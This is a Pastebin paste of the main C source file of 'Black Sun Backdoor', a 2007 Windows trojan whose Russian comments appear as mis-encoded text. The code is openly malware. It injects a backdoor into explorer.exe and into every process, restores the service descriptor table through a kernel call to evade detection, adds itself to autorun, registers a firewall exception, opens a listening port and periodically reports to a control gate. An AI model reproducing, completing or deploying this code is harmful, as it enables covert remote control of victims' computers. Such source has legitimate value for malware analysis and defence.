Advertisement
FlyFar

src/blacksun.c

May 17th, 2024
429
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.81 KB | Cybersecurity | 0 0
  1. /*
  2.  *  ---------------------------------------------------------------------
  3.  *         ____  _            _     _____            
  4.  *        |  _ \| |          | |   / ____|            
  5.  *        | |_) | | __ _  ___| | _| (___  _   _ _ __  
  6.  *        |  _ <| |/ _` |/ __| |/ /\___ \| | | | '_ \
  7.  *        | |_) | | (_| | (__|   < ____) | |_| | | | |
  8.  *        |____/|_|\__,_|\___|_|\_\_____/ \__,_|_| |_|
  9.  *                 Black Sun Backdoor v1.0 prebeta        
  10.  *
  11.  *                          (x) Cytech 2007
  12.  *
  13.  *  ---------------------------------------------------------------------
  14.  *  [blacksun.c]
  15.  *      main-ôóíêöèè :)
  16.  *  ---------------------------------------------------------------------
  17.  *    thnx to:
  18.  *         Cr4sh//0x48k, el-//0x48k, gorl, xhack//0x48k, Bill//TPOC
  19.  *  ---------------------------------------------------------------------
  20.  */
  21.  
  22. #include    "headers.h"
  23.  
  24. // ---------------------------------------------------------------------------------------
  25. // ýòà ôóíêöèÿ çàïóñêàåò ñïëàéñèíã âî âñåõ DLL çàðàæåííîãî ïðîöåññà è â ñàìîì ïðîöåññå
  26. // + ïîäãðóæàåò ìîäóëè áåç êîòîðûõ íè÷åãî ðàáîòàòü íå áóäåò (imagehlp.dll è îñòàëüíûå)
  27. // ---------------------------------------------------------------------------------------
  28.  
  29. static DWORD WINAPI StealthMain(LPVOID lpParam)
  30. {
  31.    
  32.     LoadLibrary(KERNEL32_DLL);  // 1
  33.     LoadLibrary(ADVAPI32_DLL);  // 2
  34.     LoadLibrary(IMGHLP_DLL);    // 3
  35.     LoadLibrary(SHELL32_DLL);   // 4
  36.     LoadLibrary(WS2_32_DLL);    // 5
  37.     LoadLibrary(URLMON_DLL);    // 6
  38.     LoadLibrary(WININET_DLL);   // 7
  39.     LoadLibrary(WINMM_DLL);     // 8
  40.     LoadLibrary(USER32_DLL);    // 9
  41.  
  42.     Stealth();
  43.    
  44.     return 0;
  45. }
  46. // -----------------------------------------------------------------------------------------
  47. // ýòîò êîä áóäåò èíæåêòèðîâàòüñÿ â explorer.exe è ïðåäñòàâëÿåò ñîáîé îñíîâíîå òåëî áýêäîðà
  48. // -----------------------------------------------------------------------------------------
  49.  
  50. static DWORD WINAPI BackdoorMain(LPVOID lpParam)
  51. {
  52.     HANDLE  hBindBackdoorThread,
  53.             hzDownloaderThread;
  54.  
  55.     StealthMain(NULL);
  56.         #ifdef NETSHADD
  57.         NetSHFirewallReg();                 // ðåãàåìñÿ â netsh ôàéðå
  58.         #endif NETSHADD
  59.         InitWinSock2API();          // èíèöèàëèçèðóåì WinSock2 API
  60.                                     // ñîçäàåì ïîòîê áýêäîðà
  61.         hBindBackdoorThread = StartThread(Backdoor_Listen, (short)BINDPORT);    
  62.  
  63.           while(TRUE)
  64.           {
  65.                 // ïðîâåðÿåì êîííåêò ê èíòåðíåòó... åñëè íåò, òî ñïèì 1 ìèíóòó è ïðîâåðÿåì ñíîâà
  66.                 if (CheckInternetConnection() == 0)
  67.                 {
  68.                     Sleep(1*60*1000);
  69.                     continue;
  70.                 }
  71.                 // åñëè ïîäêëþ÷åíû, òî ñîçäàåì ïîòîê îòïðàâêè èíôû íà ãåéò, çàòåì ñïèì óêàçàííîå âðåìÿ
  72.                 // (ïî óìîë÷àíèþ 15 ìèíóò), çàòåì ïðîäîëæàåì â òîì æå äóõå
  73.                 else if (CheckInternetConnection() == 1)
  74.                 {
  75.                     #ifdef USEGATE
  76.                     hzDownloaderThread  = StartThread(ReportToStat, NULL);
  77.                     #endif USEGAGE
  78.                     Sleep(HTTPFREQ*60*1000);
  79.                    
  80.                 }
  81.           }
  82.  
  83.     return TRUE;    
  84. }
  85.  
  86. // ---------------------------------------------------------------------------------------
  87. // òðåä äëÿ èíæåêòà â explorer.exe
  88. // ---------------------------------------------------------------------------------------
  89.  
  90. DWORD WINAPI StartExplorerInjThread(LPVOID lParam)
  91. {
  92.     StartProcInject(NULL, FIRSTINJPROC, BackdoorMain);
  93.     return 0;
  94. }
  95.  
  96. // ---------------------------------------------------------------------------------------
  97. // òðåä äëÿ èíæåêòà âî âñå ïðîöåññû
  98. // ---------------------------------------------------------------------------------------
  99.  
  100. DWORD WINAPI StartAllProcInjThread(LPVOID lParam)
  101. {
  102.     InjectAllProcesses(StealthMain);
  103.     return FALSE;
  104. }
  105.  
  106. // ---------------------------------------------------------------------------------------
  107. // ãîï-ñòîï... ìû ïîäîøëè èç-çà óãëà :D
  108. // ---------------------------------------------------------------------------------------
  109.  
  110. int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  111. {
  112.    
  113.     HANDLE  hExplorerInj,
  114.             hAllProcInj;
  115.            
  116.     __try
  117.         {
  118.                 PDWORD deadcoded = 0;
  119.                 *deadcoded = 0xd34dc0d3d;
  120.         }
  121.         __except(EXCEPTION_EXECUTE_HANDLER)
  122.         {
  123.    
  124.             // âîññòàíàâëèâàåì SST, ÷òîáû íå ñïàëèòü èíæåêò.
  125.             //  çà ýòó ôè÷ó ïðåæäå âñåãî ñòîèò ïîáëàãîäàðèòü Cr4sh :)
  126.                 ReadSST((PDWORD)&sst);
  127.                 CallR0((DWORD)&R0Func);
  128.                
  129.                 //ïðîïèñûâàåìñÿ â àâòîçàãðóçêó (run) è êîïèðóåìñÿ system32
  130.                
  131.                  AddSelfToRun("addtorun");
  132.                  
  133.                 // ïîçâîëÿåì çàïóñòèòüñÿ òîëüêî 1 êîïèè òðîÿíà ñ ïîìîùüþ ñîçäàíèÿ mutex
  134.                
  135.                 CreateMutex(NULL,FALSE, MUTEXNAME);
  136.                
  137.                 // åñëè mutex óæå ñîçäàí, òî âûðóáàåìñÿ (çíà÷èò ìû óæå íå ïåðâûå)
  138.                
  139.                 if(GetLastError() == ERROR_ALREADY_EXISTS)
  140.                 {
  141.                     ExitProcess(0);
  142.                 }
  143.  
  144.             // èíæåêòèðóþ êîä áýêäîðà â FIRSTINJPROC òåïåðü ðàáîòàåì èç ïîä åãî èìåíè.
  145.                 hExplorerInj = StartThread(StartExplorerInjThread, NULL);
  146.    
  147.             // çàðàæàþ âñå îñòàëüíûå ïðîöåññû.
  148.                  hAllProcInj = StartThread(StartAllProcInjThread, NULL);
  149.          }
  150.    
  151.             return 0;
  152.  
  153. }
  154. // -------------------------------------------------------------//
  155. //  Darkcoded by Cytech/0x48k, (x) 2007, hellknights.void.ru    //
  156. // -------------------------------------------------------------//
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement